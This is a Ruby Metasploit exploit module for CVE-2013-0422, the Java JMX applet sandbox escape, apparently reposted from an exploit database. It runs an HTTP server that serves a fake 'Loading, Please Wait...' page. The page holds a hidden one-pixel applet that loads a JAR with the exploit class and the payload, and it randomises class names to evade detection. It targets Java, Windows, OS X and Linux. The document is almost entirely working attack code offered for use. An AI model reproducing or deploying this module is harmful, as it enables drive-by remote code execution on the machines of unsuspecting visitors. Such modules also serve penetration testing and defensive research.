Java Applet JMX Remote Code Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })

def initialize( info = {} )

  super( update_info( info,
   'Name'          => 'Java Applet JMX Remote Code Execution',
   'Description'   => %q{
     This module abuses the JMX classes from a Java Applet to run arbitrary Java
    code outside of the sandbox as exploited in the wild in January of 2013. The
    vulnerability affects Java version 7u10 and earlier.
   },
   'License'       => MSF_LICENSE,
   'Author'        =>
    [
     'Unknown', # Vulnerability discovery
     'egypt', # Metasploit module
     'sinn3r', # Metasploit module
     'juan vazquez' # Metasploit module
    ],
   'References'    =>
    [
     [ 'CVE', '2013-0422' ],
     [ 'US-CERT-VU', '625617' ],
     [ 'URL', 'http://malware.dontneedcoffee.com/2013/01/0-day-17u10-spotted-in-while-disable.html' ],
     [ 'URL', 'http://labs.alienvault.com/labs/index.php/2013/new-year-new-java-zeroday/' ],
     [ 'URL', 'http://pastebin.com/cUG2ayjh' ] #Who authored the code on pastebin? I can't read Russian :-(
    ],
   'Platform'      => [ 'java', 'win', 'osx', 'linux' ],
   'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
   'Targets'       =>
    [
     [ 'Generic (Java Payload)',
      {
       'Platform' => ['java'],
       'Arch' => ARCH_JAVA,
      }
     ],
     [ 'Windows x86 (Native Payload)',
      {
       'Platform' => 'win',
       'Arch' => ARCH_X86,
      }
     ],
     [ 'Mac OS X x86 (Native Payload)',
      {
       'Platform' => 'osx',
       'Arch' => ARCH_X86,
      }
     ],
     [ 'Linux x86 (Native Payload)',
      {
       'Platform' => 'linux',
       'Arch' => ARCH_X86,
      }
     ],
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Jan 10 2013'
  ))
end

def setup
  path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0422", "Exploit.class")
  @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
  path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0422", "B.class")
  @loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

  @exploit_class_name = rand_text_alpha("Exploit".length)
  @exploit_class.gsub!("Exploit", @exploit_class_name)
  super
end

def on_request_uri(cli, request)
print_status("handling request for #{request.uri}")

  case request.uri
  when /\.jar$/i
   jar = payload.encoded_jar
   jar.add_file("#{@exploit_class_name}.class", @exploit_class)
   jar.add_file("B.class", @loader_class)
   metasploit_str = rand_text_alpha("metasploit".length)
   payload_str = rand_text_alpha("payload".length)
   jar.entries.each { |entry|
    entry.name.gsub!("metasploit", metasploit_str)
    entry.name.gsub!("Payload", payload_str)
    entry.data = entry.data.gsub("metasploit", metasploit_str)
    entry.data = entry.data.gsub("Payload", payload_str)
   }
   jar.build_manifest

   send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
  when /\/$/
   payload = regenerate_payload(cli)
   if not payload
    print_error("Failed to generate the payload.")
    send_not_found(cli)
    return
   end
   send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
  else
   send_redirect(cli, get_resource() + '/', '')
  end

end

def generate_html
  html = %Q|<html><head><title>Loading, Please Wait...</title></head>|
  html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
  html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
  html += %Q|</applet></body></html>|
  return html
end

end

EKU-ID: 2959	CVE: 2013-0422	OSVDB-ID:
Author: sinn3r	Published: 2013-01-14	Verified:
Download:

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